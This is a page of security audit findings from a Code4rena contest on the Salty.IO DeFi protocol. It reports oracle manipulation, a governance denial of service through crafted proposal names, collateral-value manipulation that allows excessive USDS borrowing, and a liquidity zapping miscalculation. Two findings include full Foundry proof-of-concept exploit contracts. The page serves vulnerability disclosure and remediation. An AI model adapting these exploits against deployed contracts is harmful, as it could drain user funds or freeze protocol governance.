Salty.IO - linmiaomiao's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/CoreSaltyFeed.sol#L34-L40 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/CoreSaltyFeed.sol#L47-L52

Vulnerability details

CoreSaltyFeed use reserves of pool token to calculate price,that can be manipulated by attacker.When chainlink feed give wrong price, it can be manipulated to approach this price and price aggregator wiil give wrong price to CollateralAndLiquidity.

Impact

Price aggregator will give wrong price when borrowing usds and liquidating usds,and make the USDS economic system consistently in a dangerous environment.

Proof of Concept

this feed will give price by pool reserves:

​ https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/CoreSaltyFeed.sol#L34-L40

​ https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/CoreSaltyFeed.sol#L47-L52

	function getPriceBTC() external view returns (uint256)
		{
        (uint256 reservesWBTC, uint256 reservesUSDS) = pools.getPoolReserves(wbtc, usds);

		if ( ( reservesWBTC < PoolUtils.DUST ) || ( reservesUSDS < PoolUtils.DUST ) )
			return 0;

		// reservesWBTC has 8 decimals, keep the 18 decimals of reservesUSDS
		return ( reservesUSDS * 10**8 ) / reservesWBTC;
		}


	// Returns zero for an invalid price
	function getPriceETH() external view returns (uint256)
		{
        (uint256 reservesWETH, uint256 reservesUSDS) = pools.getPoolReserves(weth, usds);

		if ( ( reservesWETH < PoolUtils.DUST ) || ( reservesUSDS < PoolUtils.DUST ) )
			return 0;

		return ( reservesUSDS * 10**18 ) / reservesWETH;
		}
    }

These reserves can be manipulated by attacker by swap() or depositSwapWithdraw() function.

When one other price feed give wrong price（for example chainlink give wrong price because of circuit breaker and token price fluctuations,details in Chainlink's docs )，this feed can give a wrong price which approachs this wrong price, and make price aggregator give wrong price,It will threat the economic system of USDS.

Tools Used

vscode、foundary

Recommended Mitigation Steps

Don' t use reserves of pool to calculate price.

You can calculate it with TWAP in 30 minutes like uniswap feed，

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L244 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L103 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L253 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L203-L208

Vulnerability details

In _possiblyCreateProposal() function,it will check openBallotsByName[ballotName] == 0 and openBallotsByName[ string.concat(ballotName, "_confirm")] == 0,so creating proposal need unexist ballotName proposal ballotName + "_confirm"proposal.But propose SetContractAddress proposal can use any contract name (incule xxx_confirm),and it need two stage proposal.It will add “setContract:” + contractName + "_confirm"proposal after stage one pass.So attacker can Propose a "setContract:” + contractName + "_confirm" proposal ,and any SetContractAddress proposal will stop in stage one because of openBallotsByName[ string.concat(ballotName, "_confirm")] == 0 check，and never pass proposal.WebsiteUpdate proposal has some problem,but the impact is not as significant as in SetContractAddress .

Impact

If attacker continues to submit such proposals after it pass or failed and make it always exist, the price feed and access manager will remain unmodifiable indefinitely.

In terms of cost considerations, an attacker only needs to stake a minimal amount of salt for the proposal proposing(default 0.5% staked in staking) to cause the access manager to remain unchangeable indefinitely. The contract's access control is consistently at risk when there are issues with the access manager.

an attacker only needs to stake double minimal amount of salt for the proposal proposing(1% staked in staking) to cause the two price feed can't change forever.If there are two price feed producing wrong price,price aggregator may give wrong price, and it will make keep the USDS economic system consistently at risk.

In fact, there is this kind of danger present in the price feed code audited this time.If chainlink aggregators return the incorrect price because of circuit breaker,and attacker manipulate salty weth/wbtc pool reserves to approach this incorrect price,it will make croeSaltyFeed and CoreChainlinkFeed give wrong price,and price aggregator give wrong price when borrowing usds and liquidating usds.And anyone can't change these two price feeds.

Proof of Concept

when propose a SetContractAddress proposal，it can use any contractName to submit：

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L240-L246

	function proposeSetContractAddress( string calldata contractName, address newAddress, string calldata description ) external nonReentrant returns (uint256 ballotID)
		{
		require( newAddress != address(0), "Proposed address cannot be address(0)" );

		string memory ballotName = string.concat("setContract:", contractName );
		return _possiblyCreateProposal( ballotName, BallotType.SET_CONTRACT, newAddress, 0, "", description );
		}

And it need submit a string.concat(ballot.ballotName, "_confirm") proposal after first proposal pass ：

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L203-L204

		else if ( ballot.ballotType == BallotType.SET_CONTRACT )
			proposals.createConfirmationProposal( string.concat(ballot.ballotName, "_confirm"), BallotType.CONFIRM_SET_CONTRACT, ballot.address1, "", ballot.description );

When create proposal,it will check:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102-L103

		require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" );
		require( openBallotsByName[ string.concat(ballotName, "_confirm")] == 0, "Cannot create a proposal for a ballot with a secondary confirmation" );

So after anyone submit an SetContractAddress proposal with contractName = A ,attacker can submit an proposal with contractName = A + "_confirm" before proposal with contractName = A arrives end time,and this proposal can't arrive stage two and create confirmation proposal beacause of openBallotsByName[ string.concat(ballotName, "_confirm")] == 0 check.

it will affect these addresses change :

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L131-L145

	function _executeSetContract( Ballot memory ballot ) internal
		{
		bytes32 nameHash = keccak256(bytes( ballot.ballotName ) );

		if ( nameHash == keccak256(bytes( "setContract:priceFeed1_confirm" )) )
			priceAggregator.setPriceFeed( 1, IPriceFeed(ballot.address1) );
		else if ( nameHash == keccak256(bytes( "setContract:priceFeed2_confirm" )) )
			priceAggregator.setPriceFeed( 2, IPriceFeed(ballot.address1) );
		else if ( nameHash == keccak256(bytes( "setContract:priceFeed3_confirm" )) )
			priceAggregator.setPriceFeed( 3, IPriceFeed(ballot.address1) );
		else if ( nameHash == keccak256(bytes( "setContract:accessManager_confirm" )) )
			exchangeConfig.setAccessManager( IAccessManager(ballot.address1) );

		emit SetContract(ballot.ballotName, ballot.address1);
		}

This is the exploit contract,please place it in the "test" folder within the project directory：

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../src/dev/Deployment.sol";
import "../src/pools/PoolUtils.sol";
import "forge-std/console.sol";

contract MyDaoTest is Deployment {

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

    function setUp() public {
        initializeContracts();

		grantAccessAlice();
		grantAccessBob();
		grantAccessCharlie();
		grantAccessDeployer();
		grantAccessDefault();

		finalizeBootstrap();

        // console.logUint(uint(weth.balanceOf(DEPLOYER)));
        // console.logUint(uint(wbtc.balanceOf(DEPLOYER)));
        // console.logUint(uint(dai.balanceOf(DEPLOYER)));


		vm.startPrank(DEPLOYER);
		weth.transfer(alice, 1000000 ether);
		wbtc.transfer(alice, 1000000 * 10 ** 8);
		dai.transfer(alice, 1000000 ether);

        weth.transfer(bob, 1000000 ether);
		wbtc.transfer(bob, 1000000 * 10 ** 8);
		dai.transfer(bob, 1000000 ether);

		vm.stopPrank();

        //alice config
        vm.startPrank(alice);

       salt.approve(address(staking), type(uint256).max);
        //get salt

        airdrop.claimAirdrop();
        uint256 numWeek = stakingConfig.maxUnstakeWeeks();
        uint256 saltAmount = staking.userXSalt(alice);
        uint256 id = staking.unstake(saltAmount,numWeek);
        
        vm.warp(block.timestamp + numWeek * 1 weeks + 1);

        staking.recoverSALT(id);
        vm.stopPrank();

        //bob config
        vm.startPrank(bob);

        airdrop.claimAirdrop();
        salt.approve(address(staking), type(uint256).max);
        vm.stopPrank();
    }


    function testProposal() public {
       
        

        //bob add proposal to change priceFeed1 and vote
        vm.startPrank(bob);
        uint256 id = proposals.proposeSetContractAddress("priceFeed1",address(forcedPriceFeed),"hello");
        proposals.castVote(id,Vote.YES);

        vm.stopPrank();

        //before proposal(id) can be excuted 
        uint256 time = daoConfig.ballotMinimumDuration();
        vm.warp(block.timestamp + time - 1);


        //alice attack and add proposal to prevent priceFeed1 proposal change to stage two

        vm.startPrank(alice);

        uint256 totalStaked = staking.totalShares(PoolUtils.STAKED_SALT);

        // calculate amount to stake and stake
        uint256 up = totalStaked * daoConfig.requiredProposalPercentStakeTimes1000();
        uint256 down = 100 * 1000 - daoConfig.requiredProposalPercentStakeTimes1000();
        uint256 amount = up / down + 1;
        staking.stakeSALT(amount);

        proposals.proposeSetContractAddress("priceFeed1_confirm",address(forcedPriceFeed),"hello");

        vm.stopPrank();

        //proposal(id) can be excuted 
        vm.warp(block.timestamp + 2);

        vm.startPrank(bob);

        vm.expectRevert("Cannot create a proposal similar to a ballot that is still open");
        dao.finalizeBallot(id);
        vm.stopPrank();       
	}
}

Tools Used

vscode、foundary

Recommended Mitigation Steps

To prevent this issue, consider appending a suffix to the contractName, for example, "setContract:" + contractName + " ballot".

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L230-L235

Vulnerability details

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L230-L235

The amount of USDS a user can borrow depends on the instantaneous values of WBTC and WETH calculated from their shares in the WETH/WBTC pool (i.e., collateral). This quantity can be manipulated by pool tokens reserve through the pool.swap operation. An attacker can borrow a significant amount of USDS after manipulating the pool reserves. Even if their shares are eventually liquidated, this approach allows them to obtain a value much greater than the total value of their liquidated collateral.

Impact

attacker can obtain USDS significantly greater than the total value of collateral,could lead to the economic system collapsing.

Proof of Concept

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L99

in borrowUSDS，it will calculate value of usds can borrow by maxBorrowableUSDS function:

function borrowUSDS( uint256 amountBorrowed ) external nonReentrant
		{
		require( exchangeConfig.walletHasAccess(msg.sender), "Sender does not have exchange access" );
		require( userShareForPool( msg.sender, collateralPoolID ) > 0, "User does not have any collateral" );
		require( amountBorrowed <= maxBorrowableUSDS(msg.sender), "Excessive amountBorrowed" );

		// Increase the borrowed amount for the user
		usdsBorrowedByUsers[msg.sender] += amountBorrowed;

		// Remember that the user has borrowed USDS (so they can later be checked for sufficient collateralization ratios and liquidated if necessary)
		_walletsWithBorrowedUSDS.add(msg.sender);

		// Mint USDS and send it to the user
		usds.mintTo( msg.sender, amountBorrowed );

		emit BorrowedUSDS(msg.sender, amountBorrowed);
		}

it will calculate user collateral value in userCollateralValueInUSD:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L275

function maxBorrowableUSDS( address wallet ) public view returns (uint256)
		{
		// If the user doesn't have any collateral, then they can't borrow any USDS
		if ( userShareForPool( wallet, collateralPoolID ) == 0 )
			return 0;

		// The user's current collateral value will determine the maximum amount that can be borrowed
		uint256 userCollateralValue  = userCollateralValueInUSD( wallet );

		if ( userCollateralValue < stableConfig.minimumCollateralValueForBorrowing() )
			return 0;

		uint256 maxBorrowableAmount = ( userCollateralValue * 100 ) / stableConfig.initialCollateralRatioPercent();

		// Already borrowing more than the max?
		if ( usdsBorrowedByUsers[wallet] >= maxBorrowableAmount )
			return 0;

		return maxBorrowableAmount - usdsBorrowedByUsers[wallet];
   		}

then it will use wbtc/weth pools reserve to calculate total collateral value:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L230-L235

	function userCollateralValueInUSD( address wallet ) public view returns (uint256)
		{
		uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );
		if ( userCollateralAmount == 0 )
			return 0;

		uint256 totalCollateralShares = totalShares[collateralPoolID];

		// Determine how much collateral share the user currently has
		(uint256 reservesWBTC, uint256 reservesWETH) = pools.getPoolReserves(wbtc, weth);

		uint256 userWBTC = (reservesWBTC * userCollateralAmount ) / totalCollateralShares;
		uint256 userWETH = (reservesWETH * userCollateralAmount ) / totalCollateralShares;

		return underlyingTokenValueInUSD( userWBTC, userWETH );
		}

they are instantaneous values,can be manipulated by swap, attacker can get usds more than he can borrow.

Even if their shares are eventually liquidated, this approach allows them to obtain a value much greater than the total value of their liquidated collateral.

This is the exploit contract,please place it in the "test" folder within the project directory：

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../src/dev/Deployment.sol";
import "../src/pools/PoolUtils.sol";
import "forge-std/console.sol";

contract MyLiquidityTest is Deployment {

    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);

	function setUp() public {
	
    initializeContracts();

		grantAccessAlice();
		grantAccessBob();
		grantAccessCharlie();
		grantAccessDeployer();
		grantAccessDefault();

		finalizeBootstrap();

		vm.startPrank(DEPLOYER);
		weth.transfer(alice, 1000000 ether);
		wbtc.transfer(alice, 1000000 * 10 ** 8);
		dai.transfer(alice, 1000000 ether);

        weth.transfer(bob, 1000000 ether);
		wbtc.transfer(bob, 1000000 * 10 ** 8);
		dai.transfer(bob, 1000000 ether);

		vm.stopPrank();

    //alice config
    vm.startPrank(alice);

    weth.approve(address(collateralAndLiquidity), type(uint256).max);
    wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
    dai.approve(address(collateralAndLiquidity), type(uint256).max);
    salt.approve(address(collateralAndLiquidity), type(uint256).max);
		weth.approve(address(pools), type(uint256).max);
    wbtc.approve(address(pools), type(uint256).max);
    dai.approve(address(pools), type(uint256).max);
    salt.approve(address(pools), type(uint256).max);
 
    //get salt

    airdrop.claimAirdrop();
    uint256 numWeek = stakingConfig.maxUnstakeWeeks();
    uint256 saltAmount = staking.userXSalt(alice);
    uint256 id = staking.unstake(saltAmount,numWeek);

    vm.warp(block.timestamp + numWeek * 1 weeks + 1);

    staking.recoverSALT(id);
    vm.stopPrank();

    //bob config
    vm.startPrank(bob);

    weth.approve(address(collateralAndLiquidity), type(uint256).max);
    wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
    dai.approve(address(collateralAndLiquidity), type(uint256).max);
    salt.approve(address(collateralAndLiquidity), type(uint256).max);
    weth.approve(address(pools), type(uint256).max);
    wbtc.approve(address(pools), type(uint256).max);
    dai.approve(address(pools), type(uint256).max);
    salt.approve(address(pools), type(uint256).max);

    //get salt

    airdrop.claimAirdrop();
    saltAmount = staking.userXSalt(bob);
    id = staking.unstake(saltAmount,numWeek);

    vm.warp(block.timestamp + numWeek * 1 weeks + 1);

    staking.recoverSALT(id);

    vm.stopPrank();
  }


	function testLiquidateUser() public {

  //set origin reserve of  pool

	vm.startPrank(alice);
  // find price of ETH and BTC
  uint256 wbtcPrcie = priceAggregator.getPriceBTC();
  uint256 wethPrice = priceAggregator.getPriceETH();

  // console.logUint(uint(wbtcPrcie));
  // console.logUint(uint(wethPrice));

  //assume saltPrice is 5 usd
  uint256 saltPrice = 5 ether;

  bytes32 collateralPoolID = PoolUtils._poolID( exchangeConfig.wbtc(), exchangeConfig.weth());
  //add liquidity by correct ratio of price（if price of a and b is pa and pb,reserve is pb and pa）
  collateralAndLiquidity.depositCollateralAndIncreaseShare(
          wethPrice / (10 ** 10), 
          wbtcPrcie , 
          0, 
          block.timestamp, 
          false
      );//WETH/WBTC pool 
      
    (uint256 amountA,uint256 amountB) = pools.getPoolReserves(wbtc,weth);
    require(amountA == wethPrice / (10 ** 10));     
    require(amountB == wbtcPrcie);      

    collateralAndLiquidity.depositLiquidityAndIncreaseShare(
        salt,
        weth,
        wethPrice, 
        saltPrice , 
        0, 
        block.timestamp, 
        false
    );//WETH/SALT pool

    (amountA,amountB) = pools.getPoolReserves(salt,weth);
    require(amountA == wethPrice);     
    require(amountB == saltPrice);    

    collateralAndLiquidity.depositLiquidityAndIncreaseShare(
        salt,
        wbtc,
        wbtcPrcie, 
        saltPrice / (10 ** 10), 
        0, 
        block.timestamp, 
        false
    );//SALT/WBTC pool

    (amountA,amountB) = pools.getPoolReserves(salt,wbtc);
    require(amountA == wbtcPrcie);     
    require(amountB == saltPrice / (10 ** 10));     
		vm.stopPrank();

    //switch to bob,and add liquidity to wbtc/weth pool to get usds
    vm.startPrank(bob);
		collateralAndLiquidity.depositCollateralAndIncreaseShare(
        wethPrice / (10 ** 14), 
        wbtcPrcie / (10 ** 4) , 
        0, 
        block.timestamp, 
        false
    );//WETH/WBTC pool 

    console.logString("before stake usds value:");
    uint256 maxUsds = collateralAndLiquidity.maxBorrowableUSDS(bob);
    console.logUint(maxUsds);

    console.log("all collateral value:");
    uint256 value = maxUsds * stableConfig.initialCollateralRatioPercent() / 100;
    console.logUint(value);

    (,uint256 amount) = pools.getPoolReserves(wbtc,weth);

    uint256 beforeAmount = amount * 5;
    console.logString("before weth Amount");
    console.logUint(uint(beforeAmount));
    uint256 wbtcAmount = pools.depositSwapWithdraw(weth,wbtc,beforeAmount,0,block.timestamp);

    maxUsds = collateralAndLiquidity.maxBorrowableUSDS(bob);

    console.logString("after stake usds value:");
    console.logUint(maxUsds);
    collateralAndLiquidity.borrowUSDS(maxUsds);
    uint256 afterAmount = pools.depositSwapWithdraw(wbtc,weth,wbtcAmount,0,block.timestamp);

    console.logString("after weth Amount");
    console.logUint(uint(afterAmount));

    //even liquidate collateral can earn
    uint256 earned = maxUsds - value - (beforeAmount - afterAmount) * priceAggregator.getPriceETH() / 10 ** 18;

    console.logString("earned:");
    console.logUint(uint(earned));

    vm.stopPrank();
	}
}

Tools Used

vscode、foundary

Recommended Mitigation Steps

don't calculate borrow amount by instantaneous value.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Liquidity.sol#L56-L73

Vulnerability details

After swap in depositSwapWithdraw()，it will call _attemptArbitrage() function to get profit from triangular arbitrage , and it will change pair token reserves of pool.For example, if user swaps token0 for token1 and it has arbitrage chance ,it will cause $reserve0 ≠ reserve0 + amount0In$ and $reserve1 ≠ reserve1 - amount1In$ afterdepositSwapWithdraw().But In _dualZapInLiquidity()function used in depositLiquidityAndIncreaseShare() and depositCollateralAndIncreaseShare() when useZapping = true, it assume $reserve0 = reserve0 + amount0In$ and $reserve1 = reserve1 - amount1In$ after depositSwapWithdraw(),and calculate amountIn to swap(_zapSwapAmount() in poolMath.sol).It will cause a discrepancy between the ratio of the pair tokens amount injected into pool and the pair tokens reserves in the pool，and causes users‘ liquidity less than the liquidity deserved in depositLiquidityAndIncreaseShare() and depositCollateralAndIncreaseShare() with useZapping = ture.

Impact

Users will get less liquidity when calling depositLiquidityAndIncreaseShare() and depositCollateralAndIncreaseShare() with useZapping = ture.

Proof of Concept

_zapSwapAmount() function in PoolMath.sol will calculate s0 amount as swap aomountIn,and it want the ratio of the pair tokens amount injected into pool equal to the pair tokens reserves in the pool after swap,the math detail in code:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/PoolMath.sol#L9-L111

and they use this assumption equation：

z0/z1 is pair tokens amount which user provide to add，r0/r1 is reserves of pool before swap, s0 is swap amount in, s1 is swap amount out.

in this euqation, it assmue reserve0 = (r0 + s0),reserve1 = ( r1 - s1) after swap and before adding liquidity .

In fact, It does equal this value after swap , but it calls depositSwapWithdraw() in _dualZapInLiquidity() to swap:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Liquidity.sol#L56-L73

		if ( swapAmountA > 0)
			{
			tokenA.approve( address(pools), swapAmountA );

			// Swap from tokenA to tokenB and adjust the zapAmounts
			zapAmountA -= swapAmountA;
			zapAmountB += pools.depositSwapWithdraw( tokenA, tokenB, swapAmountA, 0, block.timestamp );
			}

		// tokenB is in excess so swap some of it to tokenA?
		else if ( swapAmountB > 0)
			{
			tokenB.approve( address(pools), swapAmountB );

			// Swap from tokenB to tokenA and adjust the zapAmounts
			zapAmountB -= swapAmountB;
			zapAmountA += pools.depositSwapWithdraw( tokenB, tokenA, swapAmountB, 0, block.timestamp );
			}

it will try to triangular arbitrage(_attemptArbitrage()) after swap in _adjustReservesForSwapAndAttemptArbitrage()：

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L387

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L356

		function _adjustReservesForSwapAndAttemptArbitrage( IERC20 swapTokenIn, IERC20 swapTokenOut, uint256 swapAmountIn, uint256 minAmountOut ) internal returns (uint256 swapAmountOut)
		{
		// Place the user swap first
		swapAmountOut = _adjustReservesForSwap( swapTokenIn, swapTokenOut, swapAmountIn );

		// Make sure the swap meets the minimums specified by the user
		require( swapAmountOut >= minAmountOut, "Insufficient resulting token amount" );

		// The user's swap has just been made - attempt atomic arbitrage to rebalance the pool and yield arbitrage profit
		uint256 arbitrageProfit = _attemptArbitrage( swapTokenIn, swapTokenOut, swapAmountIn );

		emit SwapAndArbitrage(msg.sender, swapTokenIn, swapTokenOut, swapAmountIn, swapAmountOut, arbitrageProfit);
		}

that will make reserve0 ≠ (r0 + s0),reserve1 ≠ ( r1 - s1) before adding liquidity.So there is a discrepancy between the ratio of the pair tokens amount injected into pool and the pair tokens reserves in the pool，and causes users‘ liquidity less than the liquidity deserved in depositLiquidityAndIncreaseShare() and depositCollateralAndIncreaseShare() with useZapping = ture.

Tools Used

vscode、foundary

Recommended Mitigation Steps

add and use a funtion like depositSwapWithdraw() but don't have AAA process and use it in _dualZapInLiquidity().

Assessed type

Math